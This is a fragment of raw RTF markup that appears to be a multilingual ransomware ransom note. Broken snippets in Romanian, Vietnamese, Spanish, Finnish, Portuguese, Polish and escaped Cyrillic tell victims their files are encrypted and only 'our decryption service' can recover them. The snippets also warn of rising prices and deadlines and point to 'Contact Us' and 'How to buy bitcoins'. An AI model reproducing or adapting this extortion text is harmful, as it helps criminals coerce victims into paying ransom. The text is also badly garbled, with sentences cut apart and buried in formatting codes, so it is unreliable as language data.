\\'ee\\'ed\\'e8\\loch\\f31529 \\hich\\f31529 \\'e1\\'fb\\'eb\\'e8\\hich\\af31529\\dbch\\af31505\\loch\\f31529 \\hich\\f31529 \\'e7\\'e0\\'f8\\'e8\\'f4\\'f0\\'ee\\'e2\\'e0\\'ed\\'fb\\loch\\f31529 \\hich\\f31529 . \\'c2\\'ee\\'e7\\'ec\\'ee\\'e6\\'ed\\'ee\\loch\\f31529 \\hich\\f31529 , \\hich\\f31529 \\'ef\\'ee\\'eb\\'f3\\'f7\\'e5\\'ed\\'e8\\'ff\\loch\\f31529 \\hich\\f31529 \\'e4\\'ee\\'ef\\'ee\\'eb\\'ed\\'e8\\'f2\\'e5\\'eb\\'fc\\'ed\\'ee\\'e9\\loch\\f31529 \\hich\\f31529 \\'e8\\'ed\\'f4\\'ee\\'f0\\'ec\\'e0\\'f6\\'e8\\'e8\\loch\\f31529 \\hich\\f31529 \\'ed\\'e0\\'e6\\'ec\\'e8\\'f2\\'e5 \\hich\\f31529 \\'f1\\'e2\\'ee\\'e8\\loch\\f31529 \\hich\\f31529 \\'f4\\'e0\\'e9\\'eb\\'fb\\loch\\f31529 \\hich\\f31529 \\'e1\\'e5\\'f1\\'ef\\'eb\\'e0\\'f2\\'ed\\'ee\\loch\\f31529 \\hich\\f31529 . \\'cf\\'ee\\'ef\\'f0\\'ee\\'e1\\'f3\\'e9\\'f2\\'e5\\loch\\f31529 \\hich\\f31529 \\'ed\\'e0\\'e6\\'e0\\'f2 \\hich\\f31536 ng \\'f0}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 seltbaln\\alntblind\\lytcalctblwd\\lyttblrtgr\\lnbrkrule\\nobrkwrptbl\\snaptogridincell\\allowfieldendsel\\wrppunct \\loch\\af11\\hich\\af11\\dbch\\f11 -244\\'81\\'43}{\\rtlch\\fcs1 \\af12\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 21487\\'89\\'c2\ \\loch\\af11\\hich\\af11\\dbch\\f11 -244\\'81\\'43}{\\rtlch\\fcs1 \\af12\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 22240\\'88\\'f6\ \\loch\\af11\\hich\\af11\\dbch\\f11 -28540\\'8a\\'d2\ \\af36\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 -244\\'81\\'43}{ \\loch\\af11\\hich\\af11\\dbch\\f11 -30005\\'90\\'bf\ \\af41\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\hich\\af11\\dbch\\af11\\loch\\f11 \\loch\\af11\\hich\\af11\\dbch\\f11 -30335\\'97\\'76\ \\af36\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 -230 \\loch\\af11\\hich\\af11\\dbch\\f11 -32657\\'97\\'fc\ \\af12\\afs22 \\ltrch\\fcs0 \\b\\fs28\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\line }{\\rtlch\\fcs1 \\loch\\af11\\hich\\af11\\dbch\\f11 12290\\'81\\'42}{\\rtlch\\fcs1 \\af11\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 c1\ \\loch\\af11\\hich\\af11\\dbch\\f11 12290\\'81\\'42}{\\rtlch\\fcs1 \\af12\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 25105\\'89\\'e4\ \\loch\\af11\\hich\\af11\\dbch\\f11 12290\\'81\\'42}{\\rtlch\\fcs1 \\af41\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\line }{\\rtlch\\fcs1 \\af41\\afs22 \\ltrch\\fcs0 \\loch\\af11\\hich\\af11\\dbch\\f11 19981\\'95\\'73\ \\af36\\afs22 \\ltrch\\fcs0 \\loch\\af11\\hich\\af11\\dbch\\f11 20184\\'95\\'74\ \\af36\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 -244 \\loch\\af11\\hich\\af11\\dbch\\f11 20294\\'92\\'41\ \\af36\\afs22 \\ltrch\\fcs0 \\loch\\af11\\hich\\af11\\dbch\\f11 21040\\'93\\'9e\ \\af36\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 23565\\'9b\\'94\ \\af36\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 -244\\'81\\'43}{ \\loch\\af11\\hich\\af11\\dbch\\f11 26159\\'90\\'a5\ \\af36\\afs22 \\loch\\af11\\hich\\af11\\dbch\\f11 26368\\'8d\\'c5\ \\af11\\afs22 \\ltrch\\fcs0 \\loch\\af11\\hich\\af11\\dbch\\f11 26368\\'8d\\'c5\ \\af41\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\hich\\af11\\dbch\\af11\\loch\\f11 3}{\\rtlch\\fcs1 \\af12\\afs22 \\loch\\af11\\hich\\af11\\dbch\\f11 29031\\'8f\\'c6\ \\af36\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 12289\\'81\\'41}{ \\loch\\af11\\hich\\af11\\dbch\\f11 30070\\'e1\\'63\ \\af41\\afs22 \\ltrch\\fcs0 \\loch\\af11\\hich\\af11\\dbch\\f11 c1\ \\loch\\af18\\hich\\af18\\dbch\\f18 25105\\'a7\\'da\ \\af53\\afs22 \\ltrch\\fcs0 \\loch\\af18\\hich\\af18\\dbch\\f18 25353\\'ab\\'f6\ \\loch\\af18\\hich\\af18\\dbch\\f18 25991\\'a4\\'e5\ \\af90\\afs22 \\loch\\af18\\hich\\af18\\dbch\\f18 c2\ \\loch\\af31502\\dbch\\af31505\\hich\\f31502 \\'e3\\loch\\f31502 x}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\b\\f31502\\fs28\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 ierele,}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31528\\fs22\\insrsid8458214\\charrsid12743656 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 ierele. \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid8458214\\charrsid12743656 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 i! \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 i fi}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 i nevoie de asisten}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 i toate fi}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 ii\\hich\\af31502\\dbch\\af31505\\loch\\f31502 , face}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31528\\fs22\\insrsid8458214\\charrsid12743656 \\hich\\af31528\\dbch\\af31505\\loch\\f31528 \\hich\\f31528 i timpul. Nimeni nu v\\'e3\\loch\\f31528 poate recupera fi}{\\rtlch\\fcs1 \\af2 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 n kh\\'f4\\loch\\f31502 ng tr}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 i t}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 n mu}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31528\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31528\\dbch\\af31505\\loch\\f31528 \\hich\\f31528 n \\'f0\\loch\\f31528 ang b}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31528\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31528\\dbch\\af31505\\loch\\f31528 \\hich\\f31528 n kh\\'f4\\loch\\f31528 \\hich\\f31528 ng c\\'f3\\loch\\f31528 \\hich\\f31528 \\'f0} \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 khi b}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 c\\'e1\\loch\\f31502 c t}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 i m\\'e3\\loch\\f31502 t}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 t c}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 p t}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\b\\f31536\\fs28\\insrsid14315351\\charrsid3475210 \\hich\\af31536\\dbch\\af31505\\loch\\f31536 \\hich\\f31536 n\\'e0\\loch\\f31536 \\hich\\f31536 o \\'f0}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 n khi b}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 u ch}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 u b}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 b}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 ph}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31536\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31536\\dbch\\af31505\\loch\\f31536 \\hich\\f31536 n ph\\'ed\\loch\\f31536 \\hich\\f31536 cho ng\\'fd}{\\rtlch\\fcs1 \\af2 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 n mi}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 p ngay l}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 p tin quan tr}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31536\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31536\\dbch\\af31505\\loch\\f31536 \\hich\\f31536 \\'f0\\'fd}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 a ch}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 kh\\'f4\\loch\\f31502 ng th}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 n gi}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 i c\\'e1\\loch\\f31502 c t}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31528\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31528\\dbch\\af31505\\loch\\f31528 \\hich\\f31528 t \\'ed\\loch\\f31528 \\hich\\f31528 t bitcoins. \\'d0}{\\rtlch\\fcs1 \\af2 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 c h}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 c l}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\b\\f31502\\fs28\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 a t\\'f4\\loch\\f31502 i? \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 a ch\\'fa\\loch\\f31502 \\hich\\f31502 ng t\\'f4\\loch\\f31502 \\hich\\f31502 i, h \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 c. \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 ki}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31528\\fs22\\cf6\\insrsid14315351\\charrsid3475210 \\hich\\af31528\\dbch\\af31505\\loch\\f31528 \\hich\\f31528 \\'f0}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\loch\\af31528\\dbch\\af31505\\hich\\f31528 \\'f0}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 \\'e3\\loch\\f31502 }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31536\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31529\\dbch\\af31505\\hich\\f31529 \\'e8\\loch\\f31529 \\hich\\f31529 \\'e2\\'e0\\'f8\\loch\\f31529 \\hich\\f31529 \\'e0\\'ed\\'f2\\'e8\\'e2\\'e8\\'f0\\'f3\\'f1\\loch\\f31529 \\hich\\f31529 \\'ee\\'e1\\'ed\\'ee\\'e2\\'e8\\'f2\\'f1\\'ff\\loch\\f31529 \\hich\\f31529 \\'e8\\loch\\f31529 \\loch\\af31536\\dbch\\af31505\\hich\\f31536 \\'f0\\'fd}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\f31502 ocupado buscando una manera de recuperar sus archivos, pero no pierda su tiempo. Nadie puede recuperar sus archivos sin nuestro servicio de descifrado. \\loch\\f31502 s}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid14315351\\charrsid3475210 \\loch\\f31502 \\hich\\f31502 h\\'f3\\loch\\f31502 a. \\loch\\f31502 \\hich\\f31502 , ett\\'e4\\loch\\f31502 \\hich\\f31502 he eiv\\'e4\\loch\\f31502 t voineet maksaa 6 kuukaudessa. \\loch\\f31502 \\hich\\f31502 m pode recuperar seus arquivos sem o nosso servi\\'e7\\loch\\f31502 o de descriptografia. \\loch\\f31502 \\hich\\f31502 m th\\'f4\\loch\\f31502 \\hich\\f31502 ng tin, h\\'e3\\hich\\af31502\\dbch\\af31505\\loch\\f31502 y nh}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\loch\\f31502 \\hich\\f31502 ng qu\\'e1\\loch\\f31502 \\hich\\f31502 ngh\\'e8\\loch\\f31502 o m\\loch\\af31502\\dbch\\af31505\\hich\\f31502 \\'e0\\loch\\f31502 h}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\f31502 \\hich\\f31502 Qu\\'e9\\loch\\f31502 \\hich\\f31502 pas\\'f3\\loch\\f31502 con mi computadora? \\loch\\f31502 n b}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid14315351\\charrsid3475210 \\loch\\f31502 n ohjelmiston automaattisesti, se ei pysty palauttamaan tiedostoja vaikka maks\\hich\\af31502\\dbch\\af31505\\loch\\f31502 atkin! \\loch\\f31528 automat acest software, acesta nu va putea recupera fi}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid8458214\\charrsid12743656 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\loch\\f31528 \\hich\\f31528 ce plata este verificat\\'e3\\loch\\f31528 , pute}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\loch\\f31528 \\hich\\f31528 dost\\'ea\\loch\\f31528 \\hich\\f31528 pnych, poniewa\\'bf\\loch\\f31528 \\hich\\f31528 zosta\\'b3\\hich\\af31528\\dbch\\af31505\\loch\\f31528 \\hich\\f31528 y zaszyfrowane. By\\'e6\\loch\\f31528 \\hich\\f31528 mo\\'bf\\loch\\f31528 \\hich\\f31528 \\loch\\f31528 \\hich\\f31528 klikaj\\'b9\\loch\\f31528 c <}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid10775863 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 Contact Us}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid11827162\\charrsid10775863 \\loch\\f31528 \\hich\\f31528 n\\'e3\\loch\\f31528 vineri. \\loch\\f31528 \\hich\\f31528 r\\'e3\\loch\\f31528 serviciul nostru de decriptare. \\loch\\f31528 \\hich\\f31528 w za darmo. Spr\\'f3\\loch\\f31528 \\hich\\f31528 buj teraz klikaj\\'b9\\loch\\f31528 c . \\loch\\f31528 \\hich\\f31528 w. Aby uzyska\\'e6\\loch\\f31528 \\hich\\f31528 wi\\'ea\\loch\\f31528 \\hich\\f31528 cej informacji, kliknij opcj\\'ea\\loch\\f31528 <}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid10775863 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\loch\\f31529 <}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8528114 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 How to buy bitcoins}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid12997017\\charrsid8528114 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 >. \\loch\\f31529 \\hich\\f31529 \\'e1\\'e5\\'e4\\'ed\\'fb\\loch\\f31529 \\hich\\f31529 , \\'f7\\'f2\\'ee\\loch\\f31529 \\hich\\f31529 \\'ed\\'e5\\loch\\f31529 \\hich\\f31529 \\'ec\\'ee\\'e3\\'f3\\'f2\\loch\\f31529 \\hich\\f31529 \\'e7\\'e0\\'ef\\'eb\\'e0\\'f2\\'e8\\'f2\\'fc\\loch\\f31529 \\loch\\f31529 \\hich\\f31529 \\'e2\\'e0\\'f8\\'e8\\'f5\\loch\\f31529 \\hich\\f31529 \\'f4\\'e0\\'e9\\'eb\\'ee\\'e2\\loch\\f31529 \\hich\\f31529 , \\'ed\\'ee\\loch\\f31529 \\hich\\f31529 \\'ed\\'e5\\loch\\f31529 \\hich\\f31529 \\'f2\\'f0\\'e0\\'f2\\'fc\\'f2\\'e5\\loch\\f31529 \\hich\\f31529 \\'f1 \\loch\\f31529 \\hich\\f31529 \\'e2\\'f1\\'e5\\loch\\f31529 \\hich\\f31529 \\'f1\\'e2\\'ee\\'e8\\loch\\f31529 \\hich\\f31529 \\'f4\\'e0\\'e9\\'eb\\'fb\\loch\\f31529 \\hich\\f31529 , \\'e2\\'e0\\'ec\\loch\\f31529 \\hich\\f31529 \\'ed\\'f3\\'e6\\'ed\\'ee\\loch\\f31529 \\hich\\f31529 \\'e7\\'e0\\'ef \\loch\\f31529 \\hich\\f31529 \\'e4\\'e5\\'f8\\'e8\\'f4\\'f0\\'ee\\'e2\\'e0\\'ed\\'e8\\'ff. \\loch\\f31529 \\hich\\f31529 \\'eb\\'e5\\'e3\\'ea\\'ee\\loch\\f31529 \\hich\\f31529 \\'e2\\'ee\\'f1\\'f1\\'f2\\'e0\\'ed\\'ee\\'e2\\'e8\\'f2\\'fc\\loch\\f31529 \\hich\\f31529 \\'e2\\'f1\\'e5\\loch\\f31529 \\hich\\f31529 \\'f1\\'e2\\'ee\\'e8\\loch\\f31529 \\hich\\f31529 \\'f4\\'e0\\'e9\\'eb\\'fb \\loch\\f31529 \\hich\\f31529 \\'f1\\'eb\\'f3\\'f7\\'e8\\'eb\\'ee\\'f1\\'fc\\loch\\f31529 \\hich\\f31529 \\'f1\\loch\\f31529 \\hich\\f31529 \\'ec\\'ee\\'e8\\'ec\\loch\\f31529 \\hich\\f31529 